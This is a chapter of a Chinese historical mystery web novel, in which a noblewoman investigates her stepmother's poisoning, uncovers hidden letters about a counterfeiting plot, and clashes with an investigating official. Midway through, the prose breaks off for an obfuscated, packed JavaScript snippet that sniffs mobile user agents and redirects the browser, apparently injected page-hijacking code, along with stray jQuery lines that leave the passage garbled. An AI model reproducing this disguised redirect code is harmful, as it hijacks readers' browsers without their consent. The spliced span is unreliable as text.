山度泽 作品
5. 彩云易散琉璃脆
得知暮雨所见并无异常后,祝泽只能去讯问先前的武婢,由于这武婢自述是她最后见到梁静兰的,所以管事将她与厨下的一干人都暂时关在了柴房中。
“小姐,是否该请老爷回府来……”
“父亲在殿前议事,岂敢惊动圣上?我已告知父亲,他命我先回来主着事,他脱身了便即刻回来。”
管事听了也没再多言,随着祝泽去了柴房。
其实是能把祝宥生请回府的,但是梁静兰的身份尴尬,死亡又是人人都避讳的事,佳节乐宴,圣上和那些权贵难免会有不满。
他们若是不满,梁静兰或许连坟冢都立不得。
祝泽不想让梁静兰被抹去名姓随便埋在野山上,这才编造谎话稳住管事。
“大夫说夫人因毒而死,可疑的人都在里边了,今日在府的一个都没准离开。”
“宋迁是最后见到夫人的,把她带出来。”
祝泽方才找了京城的图纸发现往返花神庙只需半个时辰,但梁静兰却说需两个时辰,应该是在这个时间里遇见了什么事。
这段时间里跟着梁静兰的除了她的贴身侍女外就只有宋迁,无论她如何说祝泽都有必要去问。
而且宋迁也是奇怪,竟然把嫌疑往自己身上揽。
祝泽将宋迁带进前院时,柴房那边不知何故有了争吵声传来,祝泽没去管,只是专心询问宋迁。
“你急着给自己增添嫌疑是为什么?”
“是夫人的吩咐。夫人还让婢子带一句诗诗给小姐,婢子不识得字,唯恐出了差错,便托街上的书画先生写在这纸上,”宋迁从荷包中拿出一张纸条交给祝泽,继续说:“夫人有恩于婢子,婢子会谨遵小姐的吩咐。”
祝泽半信半疑的接过纸条,上面写着“二月繁霜杀桃李,明年欲嫁今年死。”
“暮雨,把她送回柴房关着。跟管事说我没问出什么,另外夫人走得匆忙,让他眼下赶紧置办准备着丧礼,他要是不敢置办,就说是老爷的命令。”
暮雨听见祝泽的话后几番想开口说些什么,但始终没说出来,最后还是将话咽了回去。
除了能对应上梁静兰是二月嫁入祝府的,祝泽就看不出这诗句还有什么别的意思了,回到梁静兰房中查看了一番依旧没有头绪。
祝泽坐在梁静兰床边自言自语:“你到底想告诉我什么?”
将整首诗在脑海里过了一遍后,祝泽才注意到这首诗中的另一句——大都好物不坚牢,彩云易散琉璃脆。
祝泽把目光投向梁静兰怀中的琉璃瓶。
除了瓶底刻着的“有狐绥绥”四字之外就没有其他的信息了,难不成是前日梁静兰送到她房中的白狐裘?
祝泽把狐裘仔细看了个遍并没看出有什么端倪,反正她找不到其他的线索便索性寻了把剪刀将狐裘拆了,没想到在宽系带里找到两张棉麻信纸。
看着手中的信,祝泽苦笑,心想:你可真看得起我,但凡联想能力差一点儿就找不到了。
其中一张详细叙述了她要告诉祝泽的事。
“梁氏父子私印官钱之事终有一日会被查出,我也是近日才从他们口中得知。他日东窗事发,服毒自尽就是我最好的归路,但唯恐连累祝家。待到那时,你便拿出另一封信里提及的证据,在圣上面前言明是你发现梁氏的罪行后容不得我,气愤之下才差人将我毒杀。
“当今圣上有言‘政事之先,理财为急’,私印官钱罪同谋逆,你贵为皇室女不会遭受牵连,可你爹免不了罢职刺配。若能承认是你杀了我,你们就能与我撇清关系。”
祝泽看到此处便听闻院外有人声嘈杂,连忙藏好信去了前院。
前院已被一众官兵围住,为首的官员手持玉令,大步流星入了正堂。
“临安府知事沈非复奉皇命查案,阻拦者就地斩杀。吏部尚书祝宥生已下狱待审,今特来缉拿共犯梁静兰。”
话音落下,沈非复便抬手令官兵搜查。
“慢着。”
祝泽站在正堂外,喝住眼前趾高气扬的人。
见着祝泽,沈非复不明所以的嗤笑一声后行礼,躬着身子言到:“见过祝大小姐。”
沈非复特意将“祝”字的尾音拉长,到底是个新上任的,心气高得遮了眼,敢拿个没影儿的罪名点她。
“拿人可以,但还劳沈知事如实相告家父缘何遭了牢狱之灾。”
“盐铁司有一众人私印官钱,梁忱、梁静至二人为造意者,祝尚书为与他二人为姻亲,自是连坐入狱,”沈非复说话间靠近祝泽,低声道:“但是下官心有疑惑,祝大人此前当真对私印官钱一事毫不知情吗?”
这话问得刁钻,也不知是在扰祝泽心态还是在说想给祝宥生扣罪名的事实。
“你要的人在后院,让府中管事领你去。”祝泽不欲与他废话,撂下话就转身向准备回自己院中。
谁料身后的沈非复提高声量对一众官兵喊到:“只捉拿要犯梁静兰,勿扰余人。”
这话听得祝泽心烦,若不是有连坐之制,轮得到他在这儿一口一个“要犯”。
“人已经死了,你既来了就别急着走,祝府就是第一现场,有嫌疑的人也都关在柴房,你先帮我查查她是怎么死的再回去交差也不迟。”
沈非复听完就叫人去传仵作并风风火火跟着管事去了后院。
他们要是诚心想给祝宥生定罪,就必须得拿到梁静兰的证词。盐铁司与吏部平日里没什么交集,梁氏父子更不是祝宥生调进盐铁司的,唯一联系两方的只有梁静兰。
梁静兰今日夜里在府中自杀身亡实在可疑,毕竟梁氏父子获罪的消息还未从宫中传出。
把实情摆在堂上,只需得有心谋害他之人一张嘴就能顺理成章辨成“祝宥生为脱罪将人毒杀”。
祝泽回房翻出那两封信,继续看下去——“那天你问我名姓,现在终于可以告诉你‘裴雪意’才是我的名,我替她嫁来此处。我知你不是祝泽,但仍望日后你能好生照顾着自己。”
两封信阅完,祝泽没有将它们焚毁,若真有人想诬陷祝宥生,这是唯一能翻案的证据。
可那句“你不是祝泽”又会毁了这证据。
养尊处优的祝泽遭遇生死后性情大变能说得通,况且祝泽的模样没有变化还是秦老夫人认出她后将她带回京的,她是祝泽这一点无可否认。
所以当这信做证据呈上去能看出的就只有梁静兰不知道自己是谁也认不得祝泽,头脑都不清醒的人写下的东西如何能信,这信就不可为证。
若是没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154534|164904||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
后面的话呢?
用水晕开显得刻意,撕剪掉又会有人疑心损毁部分的内容,一般看见这么重要的事,即使损毁也不会随意丢弃,届时祝泽拿不出后半部分,更引人猜忌。
祝泽将信纸折回原样装进狐裘的系带,后把它们放在烛火上点燃。
这样一来,虽然前文也会有部分烧毁,但隐藏的后文就没人会猜测了,也更好解释她是在何时如何发现这封信。
将信收好后,祝泽唤来暮雨吩咐了几句。
“暮雨,吩咐下去先不要打扫案上的灰烬。另外仵作来验尸还要一阵子,期间不准任何外人进我房里,必要时就把令牌拿出来。等到他们走后,你就从后墙翻出去。”
“去做什么?”
“查查沈非复的家世,以及他平日里的行迹作风,最好能找出他有没有犯过什么错事,千万别让人记住你的声音样貌。”
祝泽吩咐完就跑去祝宥生房里随手拿了件披风便准备进宫,却被沈非复拦住了去路。
“祝大小姐,府中案子尚未查完,您这位主人是要做什么去?”
“我爹伤病未愈见不得湿寒,且不说夜色深重春寒未退,谁知那狱中是什么鬼环境,我为他送衣送药不行吗?府里的一切,管事比我更清楚,你有什么就去找他。”
“行,下官再多问一句,京城里四座大狱,您知道他关在哪儿吗?”
虽然祝泽是要去宫内找太后求援呈证,只是借着给祝宥生送衣服为由出府。但好巧不巧,被沈非复说中了,祝泽还真不知道祝宥生会被关在何处。
醒来近月余时间里祝泽常去书房偷看祝宥生的公文,将朝中官制大致摸清。另外详读了一本《书判清明集》,通过其中记录的判例将当朝法度也记了个大概。
至于京中各组织对案件管辖,虽有规定但论及朝中高官时得根据实况而定,所以祝泽确实不知道。
“只是四座狱又不是四十座,有何难寻?”祝泽说着就把沈非复推开出了府。
祝泽一走府中便没人敢阻碍沈非复查案,他便没有阻拦,放任她出府去了。
沈非复叹了口气,笑道:“天真冒进,当真还只是个孩子啊……”
这一夜发生的事都太突然,突然到祝泽来不及对梁静兰的死做出情感上的反应。
马车颠簸中,祝泽才得空回想。
回想她说替嫁,回想她的死换来了什么?兴许是她的自由。
她说撇清关系,其实就算如她所言祝泽承认自己杀了她,祝宥生也与这事脱不开关系。
盐铁司在谢悯治下出了事,办案的沈非复不先怀疑谢悯,反倒是有意无意的想给祝宥生扣上罪名,这事摆明了就是有人针对祝宥生做出的,祝宥生入狱绝不只是连坐这么简单。
而且盐铁司的案子该由刑部管辖查办,圣上不仅把案子派给临安府办理,还越过府尹,把权力交给府尹下面的新人。
马车行至宫门外,祝泽转身查看是否有人追来时,无意得见黑色天幕上有零星几盏天灯,一时间祝泽觉得心里有几分落寞。
此时城中各处都是欢笑声,唯独祝府上下一片死寂,自己也是福祸未知。
祝泽有些想家,想从前总会聚在一起的好友。
可惜程度已经死了,她回不去,她现在只是祝泽。